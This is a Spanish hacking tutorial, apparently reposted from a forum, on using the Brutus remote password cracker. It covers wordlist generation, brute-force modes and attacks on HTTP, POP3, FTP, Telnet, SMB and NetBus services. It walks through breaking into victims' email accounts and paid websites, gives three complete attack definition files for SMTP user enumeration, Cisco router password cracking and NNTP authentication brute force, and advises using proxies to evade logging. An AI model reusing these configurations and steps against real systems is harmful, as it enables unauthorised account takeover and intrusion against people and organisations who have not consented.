Hola a todos voy a hablaros de un programa con el que deberiais familiariza-ros, ya q resulta de mucha utilidad en muchas ocasiones.
Podemos definir el Brutus como un crackeador de passwords remoto on-line, es rapido admite hasta 60 conexiones simultaneas ( cuidado con esto que puedes tirar abajo algun servicio ), puede llegar 2500 palabras por segundo << con dialup ni de coña, no es bueno excederse en esto casi regula las conexiones segun tu linea y la calidad de respuesta que te de el servidor.
Haber empecemos con lo q interesa, lo primero que haremos sera descargar el brutus
Para ver este enlace Registrate o Inicia SesionAqui
bien estas son sus caracterisitic
as:
Podemos utilizar el brutus para sacar passwords:
HTTP (Autentificacio
n basica)
HTTP (HTLM Form/CGI)
POP3
FTP
SMB (netBIOS)
TELNET
NETBUS
Y a parte podemos configurarlo para petar un servicio que configuremos noso-tros mismos como smtp, nntpd etc entre sus caracteristica
s cabe destacar la posibilidad de usar un proxy sock(v4) sock(v4.1) y sock(5), puedes encontrar proxies en http://www.atomintersoft.com/products/alive-proxy/proxy-list/ a veces muchos servicios
Tambien dispone de un generador de diccionarios bastante completo, en Tools >> Wordlist Generator, veamos las opciones que tiene:
Convert list (LF>CRLF) - convierte una lista de palabras en formato unix a formato dos cambiando los saltos de linea,para usarlo selecionaremos la lis-ta en estilo unix en "input list" y en "output list" el nombre de la lista de salida que queremos.
Only word length - con esta opcion lo q hacemos es coger de una lista de pa-labras las quekeramos en funcion de su longitud definiremos el numero de ca-acteres en word lenght y selecionaremos la lista que keremos en input list y la de salida en output.
Remove duplicates - esta opcion lo q hace es copiar la lista de entrada a la q keramos eliminando las palabras duplicadas.
Permutations - esta opcion realiza cualquier tipo de permutaciones sobre una determinada lista de palabras añadiendo mayusculas minusculas invirtiendo la palabra... solo es usar la permutacion q mas nos interese.
Create new list - con esta opcion ya no necesitamos una lista de entrada simplemente crearemos una con los parametros que queramos donde definiremos el numero de caracteres y las permutaciones como en el apartado anterior ademas tenemos la opcion de seed word q lo q hace es q nosotros añadimos unas palabras y vea la lista utilizando esos caracteres.
Create new list for user - aki crearemos una nueva lista en la ke ademas podremos poner un nombre de usuario del cual partira el programa
Create new list for users - esta es igual que la anterior pero podemos selecionar una lista q tengamos con usuarios en input list para q cree la lista en base a esos users.
Podemos utilizar varios metodos de autentificacio
n tanto para el modo de password como para el modo de usuario:
En Authentication Options: El modo de identificacion del usuario siempre es el mismo para todos los metodos de ataque que explicaremos detenidamente, hay dos modos como podras observar "Use Username" el cual usa un diccionario y va probando uno a uno, o "Single User" que sirve para usar un solo login, el de la victima y con ese login probara todos los pass mediante los metodos que vamos a ver ahora.
NOTA: He visto el diccionario de users.txt es pequeñito aqui os lo planto Admin
administrator
test
guest
root
backup
Bueno respecto a servicios ftp estos nombres de usuarios y alguno mas se les deniega el acceso como login , bueno esto esta en /etc/ftpusers en un proftp, pero asi suele venir en muchos servicios ftp segun los instalas
root
bin
daemon
adm
lp
sync
shutdown
halt
mail
news
uucp
operator
games
nobody
Este archivo puede modificarse,simplemente con añadir + usuarios a quien deniegen el acceso y todo depende de quien lo administre, bueno ahora veamos lo distintos modos de ataque.
Para usar distintos metodos de ataque solo tienes que seleccionar en "Pass Mode" y coger el ataque que mas te convenga Word list "Ataque por diccionario":No pienses que estamos hablando de el larouse, si no de una simple lista de palabras, que nos pueden ahorrar trabajo a diferencia de otros metodos como el brute force ,. para seleccionar el diccionario solo tienes que ir a Browse y escogerlo Combo list: Para este tipo de ataque tambien se necesita un diccionario, si la diferencia con el de arriba es que combinan las palabras del diccionario separadas por ":" "_",
ej guest:password ver example-combo.txt
Brute force "Ataque por fuerza bruta",este ataque trata de sacar el pass mediante combinaciones de "letras, numeros, caracteres especiales" esto puedes personalizarlo he incluso limitar el numero de caracteres, cuando seleccionas este metodo aparece el boton "Range" cuando calcas este se abre un menu "Brute Force Generation", en el cual hay varias opciones:
Digits Only: Solo numeros
Lowercase Alpha: Solo minusculas
Uppercase Alpha: Solo mayusculas
Mixed Alpha: combinacion de mayusculas y minusculas
Alphanumeric: abcd....z
Full Keyspace: Prueba con espacios por ej: Pepe 12
Custom Range: Ahi puedes meter los caracteres que quieras
Min Length: Seleccionas el numer o de caracteres minimo que podra tener elpass
Max Length : Aqui seleccionas el numero de caracteres maximo que comprobara
2. Elección de servicio a atacar
Las 2 primeras opciones HTTP se utilizan para entrar en esas paginas que al intentar acceder nos sale una ventana pidiendo login y pass utilizaremos uno u otro dependiendo del tipo de autentificacio
n que rekiera dicha web lo comprobaremos probando con ambos tipos., las HTTP "CGI application authentication" son las que usan programas CGIs, para autentificarse, ( podeis mirar el articulo de Problemas con los CGIs de NORTH que comenta un poco que son los cgis etc). Para utilizarlos no hay mas que poner en target por ej: www.victima.co
m o victima.com y seleccionar en autentificatio
ns options use username y pass mode el metodo ke mas nos convenga como norma general usaremos en este tipo de webs un dicionario del idioma en el ke este dicha web.
Esto es util sobre todo para esas webs xxx en las q rekieren ser socio para entrar claro esta q no sacaremos nada util de ellas unke estareis un rato entretenidos xDD.
POP3 bueno esto ya es algo mas interesante usaremos esta opcion para petar cuentas de correo de servidores q tenga pop3 activo. Selecionamos POP3 y en target escribimos POP3.victima.c
om por ejemplo:
(pop3.terra.es) o en su caso la ip, en autentificatio
n options marcamos use username y single user, y escribiremos en la casilla de userid victima.terra.
es si la cuenta de la victima es (victima@terra.es). Lo escribiremos con punto(.) no arroba(@) y de nuevo usaremos el modo de pass q mas nos interese ya sea dicc, combo o brute force.
Bueno pasemos al ftp aunque como vereis la rutina es parecida en todos los tipos rekieren pequeñas variaciones en cada uno de ellos. En este caso nos convendra tener un nombre de usuario del que trataremos de sacar el pass aun q tambien podemos buscar nombres de usuario al azar, lo cual logicamente nos llevara mucho tiempo. Selecionamos type ftp y si tenemos un nombre de usuario marcaremos use username y single user escribiremos el nombre de usuario por ej: pardillo y selecionaremos el metodo dicc,combo... si no tenemos nombre de usuario selecionamos un diccionario y marcamos solo la casilla useusername.
TELNET - pues es facil lo haremos igual que con un ftp pero selecionando type telnet claro esta .
SMB (netBIOS) bueno aki tenemos otro servicio del cual tb podemos sacar provecho usando el brutus si es q esta protegido, cuanta gente piensa que este servicio lo dan solo maquinas con win lo habre oido mil veces, "na tio es un win tiene el 139 abierto" ,cuando hablamos de SMB"Server Message Block "SMB es un protocolo idea de IBM mientras desarrollaban un sistema basico de E/S para LANS, que luego se llamo NetBIOS, sobre el que luego IBM implemento una interfad mejorada de usuario, llamada NetBEUI. NetBIOS se puede transportar sobre diferentes protocolos de red: NetBEUI,IPX/SPX y TCP/IP, etc. tb se pueden ofrecer este servicio en otros sistemas unices, OS/2, BeOS etc, la unica cosa q tendremos q tener en cuenta a la hora de realizar nuestro atake, en target escribimos la ip de la victima selecionamos type SMB(netBIOS) y ahora en SMB options si se trata de una makina NT escribiremos el nombre del dominio si es solo un pc con win2 9x no marcaremos esta opcion, a continuacion en autentificacio
n options ya sabeis selecionaremos use username y el modo de pass q mas nos convenga.
NETBUS - he aki otra utilidad por si olvidamos el pass de alguna victima de netbus o simplemente queremos entrar en alguna que hemos encontrao y esta protegida con pass. Si conoceis este troyano sabreis que cuando lo proteges con pass para entrar solo se rekiere el pass no el login, por eso al seleccionar type netbus no podemos selecionar en autentificatio
ns options la opcion de use username o single user si no q solo podemos selecionar la opcion de pass (dicc, combo list ...) pues eso haremos lo cual no tiene mayor complicacion.
Ya hemos visto los types q trae el brutus de serie pero no nos vamos a kedar ahi, tb podemos crear nuevos types es decir preparar el brutus para q se conecte a un determinado servicio usando unas determinadanas instruciones q pondremos en el archivo q hagamos.
Ahora os voy a poner un ejemplo de como preparar nuevos types vamos a ver uno para (smtp_verificac
ion_de_usuario
), en la web oficial podeis encontrar alguno, te preguntaras como se hacen pues simplemente viendo como verifica el servicio el nombre del usuario y la pass, o en algunos casos solo las pass, para ello puedes ayudarte un sniffer, netcat o cualquier cliente de telnet ya hablaremos de estas utilidades o utilidades parecidas en siguientes ezines.
Seria asi:
/----------------------empieza_codigo----copiar_desde_aki--------/
[Brutus Application Definition]
Version=AET2
Target=
Port=25
UseUserID=0
userprompt=login
passprompt=passwd
RespString=
HTTPRequestTyp
e=POST
useHTTPKeepAli
ve=1
posResponse=0
IsTelnet=0
IsHTTP=0
IsSMB=0
maPrimaryRespo
nseIsPositive=0
maSecondaryRes
ponseIsPositiv
e=0
maPrimaryRespo
nseAction=13
maSecondaryRes
ponseAction=13
maUserPrefix=""
maUserPostfix=""
maPassPrefix="VRFY "
maPassPostfix=""
maUsePreAuth=1
maMaxAuthsConx=0
HTTPFormFieldU
pdate=0
HTTPUseCookies=1
HTTPCookieUpda
te=1
HTTPReferer=
CookieNames1=
CookieValues1=
CookieNames2=
CookieValues2=
CookieNames3=
CookieValues3=
CookieNames4=
CookieValues4=
maauthStageStr
ings1=""
maauthReadLeng
th1=1
maauthSendPost
fix1=None
HTTPFormFields
1=
HTTPFormFieldV
alues1=
maauthStageStr
ings2="220"
maauthReadLeng
th2=1
maauthSendPost
fix2=None
HTTPFormFields
2=
HTTPFormFieldV
alues2=
maauthStageStr
ings3="HELO ."
maauthReadLeng
th3=1
maauthSendPost
fix3=CR+LF
HTTPFormFields
3=
HTTPFormFieldV
alues3=
maauthStageStr
ings4=""
maauthReadLeng
th4=1
maauthSendPost
fix4=None
HTTPFormFields
4=
HTTPFormFieldV
alues4=
maauthStageStr
ings5=""
maauthReadLeng
th5=1
maauthSendPost
fix5=None
HTTPFormFields
5=
HTTPFormFieldV
alues5=
maauthStageStr
ings6=""
maauthReadLeng
th6=1
maauthSendPost
fix6=None
HTTPFormFields
6=
HTTPFormFieldV
alues6=
maauthStageStr
ings7=""
maauthReadLeng
th7=1
maauthSendPost
fix7=None
HTTPFormFields
7=
HTTPFormFieldV
alues7=
maauthStageStr
ings8=""
maauthReadLeng
th8=1
maauthSendPost
fix8=None
HTTPFormFields
8=
HTTPFormFieldV
alues8=
maauthStageStr
ings9=""
maauthReadLeng
th9=1
maauthSendPost
fix9=None
HTTPFormFields
9=
HTTPFormFieldV
alues9=
maauthStageStr
ings10=""
maauthReadLeng
th10=1
maauthSendPost
fix10=None
HTTPFormFields
10=
HTTPFormFieldV
alues10=
maauthStageStr
ings11=""
maauthReadLeng
th11=1
maauthSendPost
fix11=None
HTTPFormFields
11=
HTTPFormFieldV
alues11=
maauthStageStr
ings12="250"
maauthReadLeng
th12=1
maauthSendPost
fix12=None
HTTPFormFields
12=
HTTPFormFieldV
alues12=
maauthStageStr
ings13=""
maauthReadLeng
th13=1
maauthSendPost
fix13=CR+LF
HTTPFormFields
13=
HTTPFormFieldV
alues13=
maauthStageStr
ings14="550"
maauthReadLeng
th14=1
maauthSendPost
fix14=None
HTTPFormFields
14=
HTTPFormFieldV
alues14=
maauthStageStr
ings15="252"
maauthReadLeng
th15=1
maauthSendPost
fix15=None
HTTPFormFields
15=
HTTPFormFieldV
alues15=
maauthStageStr
ings16=""
maauthReadLeng
th16=1
maauthSendPost
fix16=None
HTTPFormFields
16=
HTTPFormFieldV
alues16=
/------------------------fin_de_codigo-----copiar_hasta_aki---------/
ara utilizar este codigo crearemos un archivo bad pegaremos en el el codigo y lo guardamos con el nombre q keramos por ej: smtp_b_auth.ba
d una vez guar dado solo hay que ir a File > Import Service y seleccionar el type, estos types los puedes configurar en Modify Sequence tb, ahi puedes cambiarlo a tu gusto el metodo o la forma de autentificacio
n, tiempo de espera etc , lo guardas con la configuracion que tu quieras en File > Export Service.
Este type lo ke hace es utilizar el comado VRFY "verify" (utilizado para verificar el nombre del usuario) que aunke suele estar desactivado en muchos server debido a que puede revelar informacion tambien otro comando que puede revelar informacion es EXPN (expand) sirve para indicar como se va a resolver la dirección de correo del RCPT que le indiquemos, aunque sea antiguo todavia hay algunos en los que no lo esta desactivado y lo que nos permitira es comprobar utilizando una lista o dicc de users comprobar cuales estan utlizados o no.
Veamos otro para atakar el password en un router CISCO
/----------------------empieza_codigo----copiar_desde_aki--------/
[Brutus Application Definition]
Version=AET2
Target=
Port=23
UseUserID=0
userprompt=
passprompt=
RespString=
HTTPRequestTyp
e=GET
useHTTPKeepAli
ve=1
posResponse=0
IsTelnet=1
IsHTTP=0
IsSMB=0
maPrimaryRespo
nseIsPositive=0
maSecondaryRes
ponseIsPositiv
e=0
maPrimaryRespo
nseAction=13
maSecondaryRes
ponseAction=5
maUserPrefix=""
maUserPostfix=""
maPassPrefix=""
maPassPostfix=""
maUsePreAuth=1
maMaxAuthsConx=0
HTTPFormFieldU
pdate=0
HTTPUseCookies=1
HTTPCookieUpda
te=1
HTTPReferer=
CookieNames1=
CookieValues1=
CookieNames2=
CookieValues2=
CookieNames3=
CookieValues3=
CookieNames4=
CookieValues4=
maauthStageStr
ings1=""
maauthReadLeng
th1=1
maauthSendPost
fix1=None
HTTPFormFields
1=
HTTPFormFieldV
alues1=
maauthStageStr
ings2="Password:"
maauthReadLeng
th2=1
maauthSendPost
fix2=None
HTTPFormFields
2=
HTTPFormFieldV
alues2=
maauthStageStr
ings3="cisco"
maauthReadLeng
th3=1
maauthSendPost
fix3=CR+LF
HTTPFormFields
3=
HTTPFormFieldV
alues3=
maauthStageStr
ings4=">"
maauthReadLeng
th4=1
maauthSendPost
fix4=None
HTTPFormFields
4=
HTTPFormFieldV
alues4=
maauthStageStr
ings5="enable"
maauthReadLeng
th5=1
maauthSendPost
fix5=CR+LF
HTTPFormFields
5=
HTTPFormFieldV
alues5=
maauthStageStr
ings6=""
maauthReadLeng
th6=1
maauthSendPost
fix6=None
HTTPFormFields
6=
HTTPFormFieldV
alues6=
maauthStageStr
ings7=""
maauthReadLeng
th7=1
maauthSendPost
fix7=None
HTTPFormFields
7=
HTTPFormFieldV
alues7=
maauthStageStr
ings8=""
maauthReadLeng
th8=1
maauthSendPost
fix8=None
HTTPFormFields
8=
HTTPFormFieldV
alues8=
maauthStageStr
ings9=""
maauthReadLeng
th9=1
maauthSendPost
fix9=None
HTTPFormFields
9=
HTTPFormFieldV
alues9=
maauthStageStr
ings10=""
maauthReadLeng
th10=1
maauthSendPost
fix10=None
HTTPFormFields
10=
HTTPFormFieldV
alues10=
maauthStageStr
ings11=""
maauthReadLeng
th11=1
maauthSendPost
fix11=None
HTTPFormFields
11=
HTTPFormFieldV
alues11=
maauthStageStr
ings12="Password:"
maauthReadLeng
th12=1
maauthSendPost
fix12=None
HTTPFormFields
12=
HTTPFormFieldV
alues12=
maauthStageStr
ings13=""
maauthReadLeng
th13=1
maauthSendPost
fix13=CR+LF
HTTPFormFields
13=
HTTPFormFieldV
alues13=
maauthStageStr
ings14="Password:"
maauthReadLeng
th14=1
maauthSendPost
fix14=None
HTTPFormFields
14=
HTTPFormFieldV
alues14=
maauthStageStr
ings15="% Bad passwords"
maauthReadLeng
th15=1
maauthSendPost
fix15=None
HTTPFormFields
15=
HTTPFormFieldV
alues15=
maauthStageStr
ings16=""
maauthReadLeng
th16=1
maauthSendPost
fix16=None
HTTPFormFields
16=
HTTPFormFieldV
alues16=
/------------------------fin_de_codigo-----copiar_hasta_aki---------/
Veamos otro mas para atakar el metodo de autentificacio
n que usan los servidores que proporcionan servicios nntpd "Network News Transfer Protocol", como podras observar en el codigo usa el puerto 119
/----------------------empieza_codigo----copiar_desde_aki--------/
[Brutus Application Definition]
Version=AET2
Target=
Port=119
UseUserID=1
userprompt=
passprompt=
RespString=
HTTPRequestTyp
e=POST
useHTTPKeepAli
ve=0
posResponse=0
IsTelnet=0
IsHTTP=0
IsSMB=0
maPrimaryRespo
nseIsPositive=0
maSecondaryRes
ponseIsPositiv
e=1
maPrimaryRespo
nseAction=0
maSecondaryRes
ponseAction=0
maUserPrefix="AUTHINFO USER "
maUserPostfix=""
maPassPrefix="AUTHINFO PASS "
maPassPostfix=""
maUsePreAuth=0
maMaxAuthsConx=0
HTTPFormFieldU
pdate=0
HTTPUseCookies=1
HTTPCookieUpda
te=1
HTTPReferer=
CookieNames1=
CookieValues1=
CookieNames2=
CookieValues2=
CookieNames3=
CookieValues3=
CookieNames4=
CookieValues4=
maauthStageStr
ings1=""
maauthReadLeng
th1=1
maauthSendPost
fix1=None
HTTPFormFields
1=
HTTPFormFieldV
alues1=
maauthStageStr
ings2=""
maauthReadLeng
th2=1
maauthSendPost
fix2=None
HTTPFormFields
2=
HTTPFormFieldV
alues2=
maauthStageStr
ings3=""
maauthReadLeng
th3=1
maauthSendPost
fix3=None
HTTPFormFields
3=
HTTPFormFieldV
alues3=
maauthStageStr
ings4=""
maauthReadLeng
th4=1
maauthSendPost
fix4=None
HTTPFormFields
4=
HTTPFormFieldV
alues4=
maauthStageStr
ings5=""
maauthReadLeng
th5=1
maauthSendPost
fix5=None
HTTPFormFields
5=
HTTPFormFieldV
alues5=
maauthStageStr
ings6=""
maauthReadLeng
th6=1
maauthSendPost
fix6=None
HTTPFormFields
6=
HTTPFormFieldV
alues6=
maauthStageStr
ings7=""
maauthReadLeng
th7=1
maauthSendPost
fix7=None
HTTPFormFields
7=
HTTPFormFieldV
alues7=
maauthStageStr
ings8=""
maauthReadLeng
th8=1
maauthSendPost
fix8=None
HTTPFormFields
8=
HTTPFormFieldV
alues8=
maauthStageStr
ings9=""
maauthReadLeng
th9=1
maauthSendPost
fix9=None
HTTPFormFields
9=
HTTPFormFieldV
alues9=
maauthStageStr
ings10="200"
maauthReadLeng
th10=1
maauthSendPost
fix10=None
HTTPFormFields
10=
HTTPFormFieldV
alues10=
maauthStageStr
ings11=""
maauthReadLeng
th11=1
maauthSendPost
fix11=CR+LF
HTTPFormFields
11=
HTTPFormFieldV
alues11=
maauthStageStr
ings12="381"
maauthReadLeng
th12=1
maauthSendPost
fix12=None
HTTPFormFields
12=
HTTPFormFieldV
alues12=
maauthStageStr
ings13=""
maauthReadLeng
th13=1
maauthSendPost
fix13=CR+LF
HTTPFormFields
13=
HTTPFormFieldV
alues13=
maauthStageStr
ings14="502"
maauthReadLeng
th14=1
maauthSendPost
fix14=None
HTTPFormFields
14=
HTTPFormFieldV
alues14=
maauthStageStr
ings15="281"
maauthReadLeng
th15=1
maauthSendPost
fix15=None
HTTPFormFields
15=
HTTPFormFieldV
alues15=
maauthStageStr
ings16=""
maauthReadLeng
th16=1
maauthSendPost
fix16=None
HTTPFormFields
16=
HTTPFormFieldV
alues16=
/------------------------fin_de_codigo-----copiar_hasta_aki---------/
3. Para acabar
Quiero recomendaros que siempre q engacheis el brutus a alguna victima no lo hagais directamente recomiendo q useis un proxy, o cualkier otro metodo para mantener el anonimato pq todos los intentos q hagais kedaran logeados.
Bueno creo q no me dejo nada espero que os resulte util esta explicaion y si no pos a joderse xDD.
Podeis reanudar vuestro "ataque": el brutus guarda el utlimo ataque en autosave.bru, puedes reanudarlo solo con ir a File > Load Session, asi como guardar tus ataques en Save Session con el nombrequequier
as.bru.
Fuente
www.wikilearni
ng.com